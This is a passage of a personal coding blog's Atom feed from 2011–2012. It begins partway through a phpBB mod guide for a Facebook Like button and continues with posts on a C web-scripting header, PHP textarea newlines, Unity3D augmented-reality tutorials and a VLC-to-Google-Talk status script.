$pieces=explode(&quot;?&quot;,$user-&amp;gt;page[&#39;page&#39;]);&lt;br /&gt;
if($pieces[0]==&quot;viewtopic.php&quot;)&lt;br /&gt;
{&lt;br /&gt;
$curr_url=generate_board_url() .&#39;/&#39;. $pieces[0].&quot;?&quot;;&lt;br /&gt;
$pieces=explode(&quot;&amp;amp;&quot;,$pieces[1]);&lt;br /&gt;
$flag_tmp=0;&lt;br /&gt;
foreach($pieces as $temp_x)&lt;br /&gt;
{&lt;br /&gt;
if(substr($temp_x,0,2)==&quot;f=&quot; &amp;amp;&amp;amp; $flag_tmp==0)&lt;br /&gt;
{&lt;br /&gt;
$curr_url=$curr_url.$temp_x;&lt;br /&gt;
$flag_tmp=1;&lt;br /&gt;
break;&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
foreach($pieces as $temp_x)&lt;br /&gt;
{&lt;br /&gt;
if(substr($temp_x,0,2)==&quot;t=&quot; &amp;amp;&amp;amp; $flag_tmp==1)&lt;br /&gt;
{&lt;br /&gt;
$curr_url=$curr_url.&quot;&amp;amp;&quot;.$temp_x;&lt;br /&gt;
break;&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
--------------------&lt;br /&gt;
&lt;br /&gt;
4. In the same file, FIND&lt;br /&gt;
--------------------&lt;br /&gt;
&#39;SITE_LOGO_IMG&#39;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; =&amp;gt; $user-&amp;gt;img(&#39;site_logo&#39;),&lt;br /&gt;
--------------------&lt;br /&gt;
&lt;br /&gt;
5. ADD BELOW&lt;br /&gt;
--------------------&lt;br /&gt;
&#39;CURRENT_URL&#39;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; =&amp;gt; $curr_url,&lt;br /&gt;
--------------------&lt;br /&gt;
&lt;br /&gt;
6. SAVE file with changes&lt;br /&gt;
&lt;br /&gt;
7. OPEN FORUM_ROOT/styles/{YOUR_TEMPLATE}/template/viewtopic_body.html&lt;br /&gt;
&lt;br /&gt;
8. FIND FIRST OCCURANCE OF THE BLOCK&lt;br /&gt;
--------------------&lt;br /&gt;
&amp;lt;div class=&quot;buttons&quot;&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;!-- IF not S_IS_BOT and S_DISPLAY_REPLY_INFO --&amp;gt;&lt;br /&gt;
--------------------&lt;br /&gt;
&lt;br /&gt;
8. ADD BEFORE&lt;br /&gt;
--------------------&lt;br /&gt;
&amp;lt;div align=&quot;right&quot;&amp;gt;&lt;br /&gt;
&amp;lt;script src=&quot;http://connect.facebook.net/en_US/all.js#xfbml=1&quot;&amp;gt;&amp;lt;/script&amp;gt;&amp;lt;fb:like href=&quot;{CURRENT_URL}&quot; show_faces=&quot;true&quot; width=&quot;450&quot;&amp;gt;&amp;lt;/fb:like&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
--------------------&lt;br /&gt;
&lt;br /&gt;
9. If you want the like button also in bottom, fine the second occurance of the block and also add accordingly&lt;br /&gt;
&lt;br /&gt;
10. SAVE file with changes&lt;br /&gt;
&lt;br /&gt;
11. Now, Login to Administration Control Panel from frontend and in the main page,&lt;br /&gt;
Resynchronise or reset statistics--&amp;gt;Purge the cache--&amp;gt;Run now&lt;br /&gt;
&lt;br /&gt;
If you face any problems, post here.&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mypersonalsoft.blogspot.com/feeds/4214474929151085649/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://mypersonalsoft.blogspot.com/2012/01/phpbb-mod-facebook-like-button-in-each.html#comment-form' title='14 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2284135312097304256/posts/default/4214474929151085649'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2284135312097304256/posts/default/4214474929151085649'/><link rel='alternate' type='text/html' href='http://mypersonalsoft.blogspot.com/2012/01/phpbb-mod-facebook-like-button-in-each.html' title='[PHPBB MOD] Facebook like button in each topic / thread'/><author><name>Sriram .A.S.</name><uri>http://www.blogger.com/profile/01337412806938375187</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmTOk5pBDrD3bVsTMorH56P6isEct3xssz8HHkLk-EdL95yUKrpw_TjR3PQypX_IqjW-pj5rp4JuEc73FMsqe49yDm1DvsSEIJZtuP4DYsGq5aej-mwDfdjj_cbd1yIA/s220/DP.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhAfWbxalPpS0hQqr0aPi0wnFrpC9nxosD-sZ8Cd6iasCuECSnj-EqfoFcXkL3-2raz3n0hXARxwx2KLGHOlRm9LfCtoss-ZQRpw_5tOO_XNc1_SDkzCz1vFQullOrecsXcpn_wb8wU9KHd/s72-c/phpbb_fblike_screenshot.JPG" height="72" width="72"/><thr:total>14</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2284135312097304256.post-8868599278131303799</id><published>2012-01-24T06:34:00.001-08:00</published><updated>2012-04-04T11:33:45.373-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="non IT people"/><category scheme="http://www.blogger.com/atom/ns#" term="using c"/><category scheme="http://www.blogger.com/atom/ns#" term="using c++"/><category scheme="http://www.blogger.com/atom/ns#" term="web api"/><category scheme="http://www.blogger.com/atom/ns#" term="web programming"/><category scheme="http://www.blogger.com/atom/ns#" term="web scripting"/><category scheme="http://www.blogger.com/atom/ns#" term="web.h"/><title type='text'>Web Programming using C / C++</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;Here is a small API in form of header file in C / C++ which will allow simple programs to be converted into web programs and can be run through a browser.&lt;br /&gt;
&lt;br /&gt;
The guide is written in such a way that each and every step is explained carefully for people who are mainly from non computer origin. This will help you to create simple web pages and do some web server scripting.&lt;br /&gt;
The guide explains from downloading required softwares, configuring them, writing simple C web apps. It will be a good thing for non IT people who work with simple C. Now do anything in C code, and atlast send the outputs to browser, make it a web app!!&lt;br /&gt;
&lt;br /&gt;
Please post any bugs/suggestions/feedbacks here. Thank you.&lt;br /&gt;
&lt;br /&gt;
Download Link:&lt;br /&gt;
&lt;a href=&quot;http://www.4shared.com/zip/IVyKtfue/web_scripting_using_c_c.html&quot;&gt;http://www.4shared.com/zip/IVyKtfue/web_scripting_using_c_c.html&amp;nbsp;&lt;/a&gt; (COMPLETE FILE, API, Example, Tutorial Guide) &lt;br /&gt;
OR&lt;br /&gt;
&lt;a href=&quot;http://www.mediafire.com/?fjhyzmr73nncuj1&quot;&gt;http://www.mediafire.com/?fjhyzmr73nncuj1&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;u&gt;IMPORTANT:&lt;/u&gt; If you have the older release, the file home.c in examples directory, will fail to compile because of a line disableCache(); in it, please remove the line and compile the file. Initially i kept a function for cache management in the API and finally i thought of removing it, but forgot to update that file. Thankyou.&lt;/span&gt;&lt;/b&gt; &lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mypersonalsoft.blogspot.com/feeds/8868599278131303799/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://mypersonalsoft.blogspot.com/2012/01/web-programming-using-cc.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2284135312097304256/posts/default/8868599278131303799'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2284135312097304256/posts/default/8868599278131303799'/><link rel='alternate' type='text/html' href='http://mypersonalsoft.blogspot.com/2012/01/web-programming-using-cc.html' title='Web Programming using C / C++'/><author><name>Sriram .A.S.</name><uri>http://www.blogger.com/profile/01337412806938375187</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmTOk5pBDrD3bVsTMorH56P6isEct3xssz8HHkLk-EdL95yUKrpw_TjR3PQypX_IqjW-pj5rp4JuEc73FMsqe49yDm1DvsSEIJZtuP4DYsGq5aej-mwDfdjj_cbd1yIA/s220/DP.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2284135312097304256.post-5567679504746572065</id><published>2012-01-05T11:07:00.000-08:00</published><updated>2012-02-08T01:21:48.646-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="coder team"/><category scheme="http://www.blogger.com/atom/ns#" term="free for social welfare organizations"/><category scheme="http://www.blogger.com/atom/ns#" term="hobby coders"/><category scheme="http://www.blogger.com/atom/ns#" term="non profit software team"/><title type='text'>Rise of planet of &quot;Hobby Coders&quot;</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;Passionate about coding? Want to work on something interesting (probably :P), and chase some unseen problem?? Well, welcome to the world of &lt;b&gt;Hobby Coders&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Wondering what it is?&lt;/b&gt; Honestly, i myself dont know the answer fully as of now! :) But it will be a NON PROFIT team (not a company, not even an organization, just a team) of DEDICATED coders who are thinking to do something useful in coding in their leisure time (just a part of your leisure time, not even full leisure time)&lt;br /&gt;
So, if you can give us, say, 15 or 30 minutes a day, and is willing to join me, please let me know.&lt;br /&gt;
And BTW, Im not so rich to give you salary, its not a company or something that works for profit. Its about passion, dedication and learning. Anytime you can join me and if you want to leave sure, anytime!!&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Who are you anyways?&lt;/b&gt; Im Sriram, nothing much to say about me. I try to learn work on stuffs like Computer Vision, Artificial Intelligence, Virtual Reality, Neural Networks, Distributed Systems. Im not an expert in anything, but i keep on learning and think of some new projects, products to be more accurate!&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;I know more than you! Why should i work under you?&lt;/b&gt; Well, i still didnt say, im going to lead the team. IT is an area where each and everyone will have a unique talent and unique approach for a problem. This team will not worry about who is going to lead, who is going to get name and fame, but we will work on what we are going to do. All products will have the list of people who have worked for it. Thats it. Its more a friendly team, not something that has a hierarchy of positions &lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Do you think this idea will be a success?&lt;/b&gt; Im not going to boast  about this attempt, may be we will make some good products, or may be  the attempt will loose focus with time, atleast you will take knowledge  and learning with you&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;So what we will do?&lt;/b&gt; We will take some small and challenging  problems and we will give code solutions for that, also we will release  few projects in some areas for free&lt;br /&gt;
The activities are not yet planned, i want to see how many people are interested, if i get enough strength, then we will proceed, otherwise, this will be shutdown!&lt;br /&gt;
But to give an example of projects that we will work, may be we will make a web based script for hotel management, may be a small and efficient memory management algorithm, may be a data over voice system for data communication (currently planning), may be a javascript library for better image processing and lot more&lt;br /&gt;
&lt;br /&gt;
I also want the help of experts in many domains like neural networks, image processing, computer vision, programming languages and so on. You dont even have to spend more time, atleast please guide us for our future ideas&lt;br /&gt;
&lt;br /&gt;
If anyone interested, please email me your details: &lt;a href=&quot;mailto:sriramdasty7@gmail.com&quot;&gt;sriramdasty7@gmail.com&lt;/a&gt;&lt;br /&gt;
Based on the total participation and the level of expertise we get, further activities will be planned&lt;br /&gt;
&lt;br /&gt;
Thanks and Regards&lt;br /&gt;
&lt;a href=&quot;https://profiles.google.com/sriramdasty7&quot;&gt;Sriram.A.S.&lt;/a&gt;&lt;br /&gt;
B.Tech[IT]&lt;br /&gt;
NIT Raipur 2011 Passout&lt;br /&gt;
&lt;a href=&quot;mailto:sriramdasty7@gmail.com&quot;&gt;sriramdasty7@gmail.com&lt;/a&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mypersonalsoft.blogspot.com/feeds/5567679504746572065/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://mypersonalsoft.blogspot.com/2012/01/rise-of-planet-of-hobby-coders.html#comment-form' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2284135312097304256/posts/default/5567679504746572065'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2284135312097304256/posts/default/5567679504746572065'/><link rel='alternate' type='text/html' href='http://mypersonalsoft.blogspot.com/2012/01/rise-of-planet-of-hobby-coders.html' title='Rise of planet of &quot;Hobby Coders&quot;'/><author><name>Sriram .A.S.</name><uri>http://www.blogger.com/profile/01337412806938375187</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmTOk5pBDrD3bVsTMorH56P6isEct3xssz8HHkLk-EdL95yUKrpw_TjR3PQypX_IqjW-pj5rp4JuEc73FMsqe49yDm1DvsSEIJZtuP4DYsGq5aej-mwDfdjj_cbd1yIA/s220/DP.jpg'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2284135312097304256.post-5494345033384353593</id><published>2011-10-05T04:12:00.001-07:00</published><updated>2012-01-24T06:35:59.818-08:00</updated><title type='text'>Web Scripting using C language</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;b&gt;Web Server Side Scripting using C language&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Many languages like PHP, ASP are used for web scripting, many programmers who are familiar only with C language are not from computer science origin refrain in learning these languages thinking that they are very complicated. For creating simple scripts and making your own websites, even C language is more than enough. Im planning to write a simple header file that C programmers have to include, and they can do all the basic web fundamentals.&lt;br /&gt;
&lt;br /&gt;
And regarding optimization, im planning to write a small engine that can cache many files in it so that very fast processing of data could be possible because anyways these files are not interpreted like many web scripts. Definitely any server-scripting language like PHP will be better than this approach as they have a rich collection of libraries and many more. But this idea is targeted only people who are familiar only with C and want to do simple web scripting and database operations. I will start this soon and post it when it will be over. The first release will have only all basic commands required to convert simple C to simple server-scripting language, already MYSQL and other leading database vendors have given APIs for C to connect to their databases.&lt;br /&gt;
&lt;br /&gt;
The first release will not have much validation techniques and data security algorithms in it.&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://mypersonalsoft.blogspot.com/2012/01/web-programming-using-cc.html&quot;&gt;THIS API IS AVAILABLE FOR DOWNLOAD NOW. PLEASE CHECK THIS PAGE &lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;!! Further Discussions in that Page !!&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mypersonalsoft.blogspot.com/feeds/5494345033384353593/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://mypersonalsoft.blogspot.com/2011/10/web-server-scripting-using-c-language.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2284135312097304256/posts/default/5494345033384353593'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2284135312097304256/posts/default/5494345033384353593'/><link rel='alternate' type='text/html' href='http://mypersonalsoft.blogspot.com/2011/10/web-server-scripting-using-c-language.html' title='Web Scripting using C language'/><author><name>Sriram .A.S.</name><uri>http://www.blogger.com/profile/01337412806938375187</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmTOk5pBDrD3bVsTMorH56P6isEct3xssz8HHkLk-EdL95yUKrpw_TjR3PQypX_IqjW-pj5rp4JuEc73FMsqe49yDm1DvsSEIJZtuP4DYsGq5aej-mwDfdjj_cbd1yIA/s220/DP.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2284135312097304256.post-5296771915739115281</id><published>2011-07-12T21:04:00.000-07:00</published><updated>2012-01-24T23:15:50.514-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="new line"/><category scheme="http://www.blogger.com/atom/ns#" term="php"/><category scheme="http://www.blogger.com/atom/ns#" term="problem"/><category scheme="http://www.blogger.com/atom/ns#" term="textarea"/><title type='text'>HTML Textarea new line problems with PHP</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;Many of the beginners face problem with textarea new line. When you save some data in textarea, you may write data beautifully in many lines (by giving {ENTER} key, new line), then when you save the data inside any database, and when you retrive and display that data, you will notice that, all new line startings are lost.&lt;br /&gt;
&lt;br /&gt;
This is because when you press ENTER and give a new line character &#39;\n&#39; character is used inside textarea. But when you print it back, HTML cannot recognize &#39;\n&#39; character. PHP comes with a handy solution for this. There is a function called &lt;b&gt;nl2br()&lt;/b&gt;,which replaces all \n characters with &amp;lt;br/&amp;gt; hence all new lines appear in HTML again!&lt;br /&gt;
Its not the only solution, you can also use explode function or something similar to find \n and replace it with a &amp;lt;br/&amp;gt; to comply with HTML&lt;br /&gt;
&lt;br /&gt;
Eg:&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
echo nl2br(&quot;Sachin\nis great&quot;);&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Output:&lt;br /&gt;
Sachin&amp;lt;br/&amp;gt;is great&lt;br /&gt;
&lt;br /&gt;
Now&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
$textarea_data=DATA_FROM_DATABASE;&lt;br /&gt;
echo nl2br($textarea_data);&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
will work for textarea data!&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mypersonalsoft.blogspot.com/feeds/5296771915739115281/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://mypersonalsoft.blogspot.com/2011/07/html-textarea-new-line-problems-with.html#comment-form' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2284135312097304256/posts/default/5296771915739115281'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2284135312097304256/posts/default/5296771915739115281'/><link rel='alternate' type='text/html' href='http://mypersonalsoft.blogspot.com/2011/07/html-textarea-new-line-problems-with.html' title='HTML Textarea new line problems with PHP'/><author><name>Sriram .A.S.</name><uri>http://www.blogger.com/profile/01337412806938375187</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmTOk5pBDrD3bVsTMorH56P6isEct3xssz8HHkLk-EdL95yUKrpw_TjR3PQypX_IqjW-pj5rp4JuEc73FMsqe49yDm1DvsSEIJZtuP4DYsGq5aej-mwDfdjj_cbd1yIA/s220/DP.jpg'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2284135312097304256.post-8927828308434192689</id><published>2011-07-12T13:05:00.000-07:00</published><updated>2012-02-09T09:24:46.099-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Augmented Reality"/><category scheme="http://www.blogger.com/atom/ns#" term="hand vu"/><category scheme="http://www.blogger.com/atom/ns#" term="unity 3d"/><title type='text'>Unity 3D handVu Integration Tutorials</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;Again Im really sorry for taking a long time for releasing this awaited tutorials with all working codes.&lt;br /&gt;
&lt;br /&gt;
Since I dont have web space of my own, I rely on free file hostings, I have uploaded the required files with the mirrors::&lt;br /&gt;
Demo:&lt;br /&gt;
&lt;a href=&quot;http://www.youtube.com/watch?v=-GxykrIB3yM&quot;&gt;http://www.youtube.com/watch?v=-GxykrIB3yM&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Tutorials PDF file:&lt;br /&gt;
&lt;a href=&quot;http://www.megaupload.com/?d=6MDTU0CR&quot;&gt;http://www.megaupload.com/?d=6MDTU0CR&lt;/a&gt;&lt;br /&gt;
Full Project (Unity Package File):&lt;br /&gt;
&lt;a href=&quot;http://www.4shared.com/zip/Wl-VFYjx/HandVu.html&quot;&gt;http://www.4shared.com/zip/Wl-VFYjx/HandVu.html&lt;/a&gt;&lt;br /&gt;
OR&lt;br /&gt;
&lt;a href=&quot;http://www.mediafire.com/?f55zs8gfzmf9clq&quot;&gt;http://www.mediafire.com/?f55zs8gfzmf9clq&lt;/a&gt;&lt;br /&gt;
OR &lt;br /&gt;
&lt;a href=&quot;http://www.megaupload.com/?d=F9OYMOSB&quot;&gt;http://www.megaupload.com/?d=F9OYMOSB&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Download the PDF file, that contains links of files to be downloaded...&lt;a href=&quot;http://www.esnips.com/doc/11acf06f-232a-4941-abe5-12a80aa713b0/faceAPI&quot;&gt;&lt;/a&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mypersonalsoft.blogspot.com/feeds/8927828308434192689/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://mypersonalsoft.blogspot.com/2011/07/unity-3d-handvu-integration-tutorials.html#comment-form' title='25 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2284135312097304256/posts/default/8927828308434192689'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2284135312097304256/posts/default/8927828308434192689'/><link rel='alternate' type='text/html' href='http://mypersonalsoft.blogspot.com/2011/07/unity-3d-handvu-integration-tutorials.html' title='Unity 3D handVu Integration Tutorials'/><author><name>Sriram .A.S.</name><uri>http://www.blogger.com/profile/01337412806938375187</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmTOk5pBDrD3bVsTMorH56P6isEct3xssz8HHkLk-EdL95yUKrpw_TjR3PQypX_IqjW-pj5rp4JuEc73FMsqe49yDm1DvsSEIJZtuP4DYsGq5aej-mwDfdjj_cbd1yIA/s220/DP.jpg'/></author><thr:total>25</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2284135312097304256.post-7522147193562935226</id><published>2011-07-02T15:35:00.000-07:00</published><updated>2012-06-14T07:27:59.673-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Google Talk Status"/><category scheme="http://www.blogger.com/atom/ns#" term="VLC media player current status"/><title type='text'>VLC Current Track to Google Talk Status [VLC2GTalk v1.0 BETA]</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
I made one small script that checks VLC for the current track and sends this track name to Google Talk so that your google talk status gets updated with the current VLC track. This is similar to plugins available for Google Talk with ITunes, Winamp and so on.&lt;br /&gt;
&lt;br /&gt;
I created this small script because i use VLC, im a music lover, so i listen to songs in 200% volume, which is available in VLC only, so i use VLC and then thought of developing a small script for posting the current track to Google Talk&lt;br /&gt;
&lt;br /&gt;
&lt;u&gt;&lt;b&gt;Screenshot:&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7cErxR-p6TFJieqv1jv35vKBV9b6b8uRAOx4KHdAVJCjvjjr9QU-CR0xSrSKWV-wAsMRey_Zt8VSC8IbqTj32dfmO_Q9xzhyphenhyphenyppEagcvCASbxymmdN4dKRrLPPAr9O_I_bxnGQIrLn74P/s1600/VLC2GTalk_ScreenShot.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;212&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7cErxR-p6TFJieqv1jv35vKBV9b6b8uRAOx4KHdAVJCjvjjr9QU-CR0xSrSKWV-wAsMRey_Zt8VSC8IbqTj32dfmO_Q9xzhyphenhyphenyppEagcvCASbxymmdN4dKRrLPPAr9O_I_bxnGQIrLn74P/s320/VLC2GTalk_ScreenShot.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;u&gt;&lt;b&gt;Here is the download link: &lt;/b&gt;&lt;/u&gt;(514 KB)&lt;br /&gt;
&lt;a href=&quot;http://www.4shared.com/zip/RCD5E9Fh/VLC_to_GTalk_Status.html&quot;&gt;http://www.4shared.com/zip/RCD5E9Fh/VLC_to_GTalk_Status.html&lt;/a&gt;&lt;br /&gt;
OR&lt;br /&gt;
&lt;a href=&quot;http://www.mediafire.com/?l2c3lusc2pukr53&quot;&gt;http://www.mediafire.com/?l2c3lusc2pukr53&lt;/a&gt; &lt;br /&gt;
OR&lt;br /&gt;
&lt;a href=&quot;http://www.megaupload.com/?d=G1EVEVG2&quot;&gt;http://www.megaupload.com/?d=G1EVEVG2&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
And for coders, here is the source code: &lt;a href=&quot;http://hobbycoders.com/products/vlc2gtalk/VLC2GTalk.ahk&quot;&gt;http://hobbycoders.com/products/vlc2gtalk/VLC2GTalk.ahk&lt;/a&gt;&lt;br /&gt;
(Its an AutoHotKey code)&lt;br /&gt;
&lt;br /&gt;
I just checked it and it works, if you find any bugs please post it here, so that we can try to resolve them. This small software will be useful till a good programmer develops a good plugin for VLC GTalk status or Google allows VLC tracks too :)!!&lt;br /&gt;
&lt;br /&gt;
BTW, The only problem with this that i face as of now is, when the song changes, an UI activity is performed, so so, for a moment, the focus is removed from your current focused object. Thats annoying, i know...the next release will be free from these problems&lt;br /&gt;
&lt;br /&gt;
Anyways, if anyone wants to try developing the same. The idea is this:&lt;br /&gt;
1. Use high level language to poll VLC process in the system and detect song changes (VLC sets the song name as process title as &lt;i&gt;SONG_NAME - VLC Player&lt;/i&gt; :)&lt;br /&gt;
2. Google provides codes for jabber client XMPP so that you can directly communicate with Google Talk and set the track as stauts &lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mypersonalsoft.blogspot.com/feeds/7522147193562935226/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://mypersonalsoft.blogspot.com/2011/07/vlc-current-track-to-google-talk-status.html#comment-form' title='20 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2284135312097304256/posts/default/7522147193562935226'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2284135312097304256/posts/default/7522147193562935226'/><link rel='alternate' type='text/html' href='http://mypersonalsoft.blogspot.com/2011/07/vlc-current-track-to-google-talk-status.html' title='VLC Current Track to Google Talk Status [VLC2GTalk v1.0 BETA]'/><author><name>Sriram .A.S.</name><uri>http://www.blogger.com/profile/01337412806938375187</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmTOk5pBDrD3bVsTMorH56P6isEct3xssz8HHkLk-EdL95yUKrpw_TjR3PQypX_IqjW-pj5rp4JuEc73FMsqe49yDm1DvsSEIJZtuP4DYsGq5aej-mwDfdjj_cbd1yIA/s220/DP.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7cErxR-p6TFJieqv1jv35vKBV9b6b8uRAOx4KHdAVJCjvjjr9QU-CR0xSrSKWV-wAsMRey_Zt8VSC8IbqTj32dfmO_Q9xzhyphenhyphenyppEagcvCASbxymmdN4dKRrLPPAr9O_I_bxnGQIrLn74P/s72-c/VLC2GTalk_ScreenShot.jpg" height="72" width="72"/><thr:total>20</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2284135312097304256.post-5972572928095278497</id><published>2011-05-22T03:13:00.000-07:00</published><updated>2014-12-09T08:52:01.965-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Augmented Reality"/><category scheme="http://www.blogger.com/atom/ns#" term="faceapi"/><category scheme="http://www.blogger.com/atom/ns#" term="unity 3d"/><title type='text'>Unity3d faceapi integration to achieve augmented reality [ Video tutorials ]</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
Hello all, since there were few errors reported with Unity 3, i have made a video tutorial on how to achieve the integration of unity3d with faceapi. There was an error with script.cs file in the old unitypackage.&lt;br /&gt;
&lt;br /&gt;
This post is a continuation of this post:&lt;br /&gt;
&lt;a href=&quot;http://mypersonalsoft.blogspot.com/2010/12/unity-3d-faceapi-intergation-tutorials.html&quot;&gt;http://mypersonalsoft.blogspot.com/2010/12/unity-3d-faceapi-intergation-tutorials.html&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Follow the steps in the video tutorials and please do post your comments/feedbacks...&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
